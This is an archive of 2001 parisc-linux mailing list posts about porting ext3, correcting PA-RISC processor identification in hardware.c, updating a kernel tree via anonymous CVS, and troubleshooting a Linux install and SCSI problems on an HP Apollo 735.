Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ext3+parisc kernel
Date: Sat, 8 Sep 2001 17:49:14 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20010908174914.O29708@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620471 25161 80.91.229.3 (22 Nov 2014 01:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:11 +0000 (UTC)
Cc: Ext3 Users ml <Ext3-users@redhat.com>
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 15:49:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440F4484A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 15:49:16 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id RAA06846;
	Sat, 8 Sep 2001 17:49:14 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12153

[cross posting cause I'm not sure who should get this email]

I am attempting to make ext3 work on the parisc kernel tree. So far I
have successfully patched and have made the kernel compile w/ only two
line changes to the source.

I got ext3 from the cvs, and the parisc 2.4.9-pa17 kernel and I've
patched the parisc kernel w/ the add-to-kernel.sh script. after a bit of
fighting I got the kernel to compile. I had to add and remove the
following lines:

line added include/linux/fs.h:1348
extern loff_t no_llseek(struct file *file, loff_t offset, int origin);

Needed for the no_llseek symbol.

line removed kernel/ksyms.c:180
EXPORT_SYMBOL(fsync_no_super);

Needed removal because fsync_no_super was already being exported by
fs/buffer.c:354

Now when I boot. /proc is not mounted at boot, and when I mount it all
the files in /proc appear to be directories. Also networking is gone.
ifconfig just returns w/ nothing and ifconfig -a shows no devices.

But on the bright side when I cat /proc/filesystems/ (everything in
/proc is a directory even though it's not) I get ext3 to come up... So
it kinda works. Gonna get the newest e2fsprogs and see if I can make a
journal and have this broken kernel mount / as ext3.

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CXXX Processor Identification Path
Date: Sat, 8 Sep 2001 17:48:24 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20010908174824.A7948@tdl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620471 25163 80.91.229.3 (22 Nov 2014 01:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  8 18:59:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6474C482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Sep 2001 18:59:04 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id RAA08445
	for parisc-linux@lists.parisc-linux.org; Sat, 8 Sep 2001 17:48:24 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12154

The  C240+ reports as PA8000 processors.  This patch
will make them report as PA8200 processors. The file hardware.c also reported
that the C180 had a PA8200 processor, which the HP Hardware Compatability list
reports that the C180 has a PA8000 processor.


Cheers,

Randall

--- linux/arch/parisc/kernel/hardware.c	Sat Sep  8 17:47:15 2001
+++ linux.new/arch/parisc/kernel/hardware.c	Sat Sep  8 17:38:20 2001
@@ -1372,8 +1372,9 @@
 	{ 0x0592, 0x0fff, pcxt_  },  /* 0x0592 - 0x0592 */
 	{ 0x0593, 0x0fff, pcxu   },  /* 0x0593 - 0x0593 */
 	{ 0x0594, 0x0ffc, pcxu   },  /* 0x0594 - 0x0597 */
-	{ 0x0598, 0x0ffc, pcxu   },  /* 0x0598 - 0x059b */
-	{ 0x059c, 0x0ffe, pcxu_  },  /* 0x059c - 0x059d */
+	{ 0x0598, 0x0ffe, pcxu_  },  /* 0x0598 - 0x0599 */
+	{ 0x059a, 0x0ffd, pcxu   },  /* 0x059a - 0x059c */
+        { 0x059d, 0x0fff, pcxu_  },  /* 0x059d - 0x059d */
 	{ 0x059e, 0x0fff, pcxt_  },  /* 0x059e - 0x059e */
 	{ 0x059f, 0x0fff, pcxu   },  /* 0x059f - 0x059f */
 	{ 0x05a0, 0x0ffe, pcxt_  },  /* 0x05a0 - 0x05a1 */




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 'Getting a parisc-linux cvs kernel without stress'
Date: Sun, 9 Sep 2001 14:26:52 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20010909142652.A26291@middle.of.nowhere>
References: <20010906073538.A12771@middle.of.nowhere> <200109060608.AAA09806@puffin.external.hp.com> <20010906135327.C316@parcelfarce.linux.theplanet.co.uk> <20010906211409.A26423@middle.of.nowhere> <20010907150709.B843@neep.com.au>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620471 25170 80.91.229.3 (22 Nov 2014 01:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  9 06:54:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50E61482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Sep 2001 06:54:05 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id OAA16896
	for <parisc-linux@lists.parisc-linux.org>; Sun, 9 Sep 2001 14:54:03 +0200 (CEST)
Original-Received: (qmail 11629 invoked from network); 9 Sep 2001 12:26:54 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 9 Sep 2001 12:26:54 -0000
Original-Received: (qmail 30412 invoked by uid 500); 9 Sep 2001 12:26:52 -0000
Content-Disposition: inline
In-Reply-To: <20010907150709.B843@neep.com.au>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12155

This is a small update/addition to the 'kernel-building recipe'.

============================================================
If you want to test the latest kernel and don't want to download the
enormous linux-latest.tar.gz file every time, use the cvs system to
get just the changed files. This is a very short manual how to do this
in 3 steps.  Obviously, step 1 and 2 are only needed once. Step 3 can be
repeated as you like.

Step 1 - create the right environment.

Make sure you have a variable 'CVSROOT' with value
CVSROOT=:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc

To make it available on every boot, put it in ~/.bashrc like this:

CVSROOT=:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc
export CVSROOT

Also create a .cvsrc file in your home directory with this content:

cvs -z3 -q
diff -uNp
update -Pd
remove -f

Also make sure you have cvs installed ('apt-get install cvs' if you have
not). Before going on to step 2, make sure the CVSROOT variable is
actually set - by logging out and logging in again.

Step 2 - prepare a linux source tree

Get linux-latest.tar.gz from the ftp-site, and untar. In this manual,
I'll user ~/source/ as directory untar in, but any directory will do.
Now you'll have to change some files in the source tree. Make sure your
CVSROOT variable is set correctly and type:

for i in `find linux -name Root`; do echo $CVSROOT > $i; done

Step 3 - get the latest source code

Change directory to ~/source/ and type

cvs update -APd linux

You should see a list of files looking something like this:

P linux/Makefile
P linux/Documentation/parisc/registers
P linux/arch/parisc/vmlinux.lds
P linux/arch/parisc/vmlinux64.lds
P linux/arch/parisc/hpux/fs.c

etc.

To make sure something has changed you can always do:

grep -i version linux/Makefile | head -2

which will answer 

VERSION = 2
EXTRAVERSION = -pa17

Now compile your new kernel as usual.
============================================================

This is by way of thanks to everyone who helped me to get it working,
and to possibly prevent other people from endless trying.

Good luck,
Jurriaan
-- 
Satan: "Welcome to hell - Here's your DoubleSpaced 386SX and windows"
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.31 0.08 0.02




From - Thu Nov 08 21:19:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boyan Lazarov <bsl@mek.dtu.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing on Apollo 735
Date: Sun, 09 Sep 2001 19:14:05 +0200
Organization: DTU,MEK
Lines: 13
Approved: news@gmane.org
Message-ID: <3B9BA35D.9A02DD98@mek.dtu.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620472 25435 80.91.229.3 (22 Nov 2014 01:41:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  9 11:15:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from b101-144c-01.mek.dtu.dk (unknown [130.226.16.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16ECF482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Sep 2001 11:15:17 -0600 (MDT)
Original-Received: from mek.dtu.dk (localhost.localdomain [127.0.0.1])
	by b101-144c-01.mek.dtu.dk (Postfix) with ESMTP id B7A5B34342
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Sep 2001 19:14:05 +0200 (CEST)
Original-Sender: boco@b101-144c-01.mek.dtu.dk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12156

Hi ,
I am trying to install linux on Apollo 735 . The system boots normally (
serial console, from cd image 0.9.2) . When i reach the point to install
the kernel  and the modules , the installer starts the installation and
gives message 
ioctl: LOOP_CLR_FD: No such device or address 

Can somebody help me ?

Boyan Lazarov




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@linox03.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Kernel panics on 715/80 [It works!!]
Date: Mon, 10 Sep 2001 09:29:16 +0300 (EEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0109100922070.26516-100000@linox03.ntc.nokia.com>
References: <200109051257.GAA23109@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416620472 25440 80.91.229.3 (22 Nov 2014 01:41:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:12 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: ext John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 00:29:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D595482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 00:29:25 -0600 (MDT)
Original-Received: from esvir06nok.ntc.nokia.com (esvir06nokt.ntc.nokia.com [172.21.143.38])
	by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f8A6Tp327091
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 09:29:51 +0300 (EET DST)
Original-Received: from esebh01nok.ntc.nokia.com (unverified) by esvir06nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T55e7dbd103ac158f26078@esvir06nok.ntc.nokia.com>;
 Mon, 10 Sep 2001 09:29:22 +0300
Original-Received: from linux.nokia.com (linox03.ntc.nokia.com [172.21.29.49]) by esebh01nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id R4RMQQKR; Mon, 10 Sep 2001 09:29:22 +0300
Original-Received: from linox03.ntc.nokia.com (linox03.ntc.nokia.com [172.21.29.49])
	by linux.nokia.com (8.11.2/8.11.2) with ESMTP id f8A6TH628740;
	Mon, 10 Sep 2001 09:29:22 +0300
In-Reply-To: <200109051257.GAA23109@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12157

On Wed, 5 Sep 2001, ext John Marvin wrote:

> > Sorry it took so long to do further debugging... Anyway the System.map
> > says:
> >
> > 102ee3a0 ? parisc_hardware_description
> > 1010ae98 T alloc_pa_dev
> >
>
> Oops. I found this bug last week, but forgot to commit a patch for it.
> I just did that.

Now it works for me too. Thanks!

> John
- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,





From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 08:32:04 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010910083204.P19441@linuxcare.com>
References: <3B9BA35D.9A02DD98@mek.dtu.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620472 25446 80.91.229.3 (22 Nov 2014 01:41:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Boyan Lazarov <bsl@mek.dtu.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 01:31:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72A88482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 01:31:54 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 88474B00C; Mon, 10 Sep 2001 08:32:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B9BA35D.9A02DD98@mek.dtu.dk>; from bsl@mek.dtu.dk on Sun, Sep 09, 2001 at 07:14:05PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12158

On Sun, Sep 09, 2001 at 07:14:05PM +0200, Boyan Lazarov wrote:
> Hi ,
> I am trying to install linux on Apollo 735 . The system boots normally (
> serial console, from cd image 0.9.2) . When i reach the point to install
> the kernel  and the modules , the installer starts the installation and
> gives message 
> ioctl: LOOP_CLR_FD: No such device or address 

The installer gives that message for everyone, but normally it
immediately continues with the install.  What disks are you trying
to install on to?  I don't believe the internal wide scsi disks
are supported atm, but people have installed on to external narrow
disks.

Richard





From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boyan Lazarov <bsl@mek.dtu.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 10:03:27 +0200
Organization: DTU,MEK
Lines: 51
Approved: news@gmane.org
Message-ID: <3B9C73CF.412C929@mek.dtu.dk>
References: <3B9BA35D.9A02DD98@mek.dtu.dk> <20010910083204.P19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620473 25452 80.91.229.3 (22 Nov 2014 01:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 02:04:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from b101-144c-01.mek.dtu.dk (unknown [130.226.16.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60BE7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 02:04:43 -0600 (MDT)
Original-Received: from mek.dtu.dk (localhost.localdomain [127.0.0.1])
	by b101-144c-01.mek.dtu.dk (Postfix) with ESMTP
	id 904B534342; Mon, 10 Sep 2001 10:03:27 +0200 (CEST)
Original-Sender: boco@b101-144c-01.mek.dtu.dk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12159

This is the output:

SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: PLEXTOR   Model: CD-ROM PX-32TS    Rev: 1.02
  Type:   CD-ROM                             ANSI SCSI revision: 02
  Vendor: MICROP    Model: 2112              Rev: 4024
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST31200N          Rev: 8714
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
Partition check:
 sda: unknown partition table
SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
 sdb: sdb1 sdb2 sdb3
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 0, lun 0

I have 2 disks which are connected to fast wide SCSI but they are not
recognized by the kernel.

I am installing the system on /dev/sdb

When i got the message , I have waited for more than 30 min .

Boyan

Richard Hirst wrote:
> 
> On Sun, Sep 09, 2001 at 07:14:05PM +0200, Boyan Lazarov wrote:
> > Hi ,
> > I am trying to install linux on Apollo 735 . The system boots normally (
> > serial console, from cd image 0.9.2) . When i reach the point to install
> > the kernel  and the modules , the installer starts the installation and
> > gives message
> > ioctl: LOOP_CLR_FD: No such device or address
> 
> The installer gives that message for everyone, but normally it
> immediately continues with the install.  What disks are you trying
> to install on to?  I don't believe the internal wide scsi disks
> are supported atm, but people have installed on to external narrow
> disks.
> 
> Richard




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ccio-dma error
Date: Mon, 10 Sep 2001 01:25:02 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20010910012502.A30056@tdl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620473 25459 80.91.229.3 (22 Nov 2014 01:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 02:35:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A3DF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 02:35:50 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id BAA30134
	for parisc-linux@lists.parisc-linux.org; Mon, 10 Sep 2001 01:25:02 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12160

My computer frequently crashes with the error message:

 Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping resource

This is with kernel pa17.


This occurs during medium to heavy io. 



This has also caused my /var/lib/dbkg directory to be missing.

How can I rebuild it?




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 10:36:58 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20010910103658.T19441@linuxcare.com>
References: <3B9BA35D.9A02DD98@mek.dtu.dk> <20010910083204.P19441@linuxcare.com> <3B9C73CF.412C929@mek.dtu.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620473 25466 80.91.229.3 (22 Nov 2014 01:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Boyan Lazarov <bsl@mek.dtu.dk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 03:36:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4588482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 03:36:47 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 93F06B00C; Mon, 10 Sep 2001 10:36:58 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B9C73CF.412C929@mek.dtu.dk>; from bsl@mek.dtu.dk on Mon, Sep 10, 2001 at 10:03:27AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12161

On Mon, Sep 10, 2001 at 10:03:27AM +0200, Boyan Lazarov wrote:
> This is the output:
> 
> SCSI subsystem driver Revision: 1.00
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> scsi0: Revision 0x0
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
>   Vendor: PLEXTOR   Model: CD-ROM PX-32TS    Rev: 1.02
>   Type:   CD-ROM                             ANSI SCSI revision: 02
>   Vendor: MICROP    Model: 2112              Rev: 4024
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>   Vendor: SEAGATE   Model: ST31200N          Rev: 8714
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
> Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
> SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
> Partition check:
>  sda: unknown partition table
> SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
>  sdb: sdb1 sdb2 sdb3
> Detected scsi CD-ROM sr0 at scsi0, channel 0, id 0, lun 0
> 
> I have 2 disks which are connected to fast wide SCSI but they are not
> recognized by the kernel.
> 
> I am installing the system on /dev/sdb
> 
> When i got the message , I have waited for more than 30 min .

Can you try adding   sim700=noneg:0xff,nodisc:0xff   to the boot params
please.  Say 'yes' to the interact with IPL question if that machine
gives you one, else perhaps append 'isl' to the bo command.  Then just
modify one of the existing params to append that string.

Richard

> Boyan
> 
> Richard Hirst wrote:
> > 
> > On Sun, Sep 09, 2001 at 07:14:05PM +0200, Boyan Lazarov wrote:
> > > Hi ,
> > > I am trying to install linux on Apollo 735 . The system boots normally (
> > > serial console, from cd image 0.9.2) . When i reach the point to install
> > > the kernel  and the modules , the installer starts the installation and
> > > gives message
> > > ioctl: LOOP_CLR_FD: No such device or address
> > 
> > The installer gives that message for everyone, but normally it
> > immediately continues with the install.  What disks are you trying
> > to install on to?  I don't believe the internal wide scsi disks
> > are supported atm, but people have installed on to external narrow
> > disks.
> > 
> > Richard
> 




From - Thu Nov 08 21:19:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boyan Lazarov <bsl@mek.dtu.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on Apollo 735
Date: Mon, 10 Sep 2001 14:04:53 +0200
Organization: DTU,MEK
Lines: 94
Approved: news@gmane.org
Message-ID: <3B9CAC65.E1096C44@mek.dtu.dk>
References: <3B9BA35D.9A02DD98@mek.dtu.dk> <20010910083204.P19441@linuxcare.com> <3B9C73CF.412C929@mek.dtu.dk> <20010910103658.T19441@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=x-user-defined
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620474 25469 80.91.229.3 (22 Nov 2014 01:41:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 10 06:06:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from b101-144c-01.mek.dtu.dk (unknown [130.226.16.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 180B2482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Sep 2001 06:06:09 -0600 (MDT)
Original-Received: from mek.dtu.dk (localhost.localdomain [127.0.0.1])
	by b101-144c-01.mek.dtu.dk (Postfix) with ESMTP
	id 244DA34342; Mon, 10 Sep 2001 14:04:53 +0200 (CEST)
Original-Sender: boco@b101-144c-01.mek.dtu.dk
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12162

The system just stop 
The boot parameters are :
0: 0/vmlinux
 1: root=/dev/ram
 2: initrd=0/ramdisk
 3: console=ttyS0
 4: TERM=vt102
 5: sim700=noneg:0xff,nodisc:0xff
 6: isl

And the output is:
SCSI subsystem driver Revision: 1.00 
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: PLEXTOR   Model: CD-ROM PX-32TS    Rev: 1.02
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: Unable to abort command for target 5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 07875060 (script[0x1418]), dsps = 078751f0, target = 0
scsi0: Failing command for ID5
  Vendor: SEAGATE   Model: ST31200N          Rev: 8714
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 6, lun 0

After this the system just stops

Boyan
Richard Hirst wrote:
> 
> On Mon, Sep 10, 2001 at 10:03:27AM +0200, Boyan Lazarov wrote:
> > This is the output:
> >
> > SCSI subsystem driver Revision: 1.00
> > sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
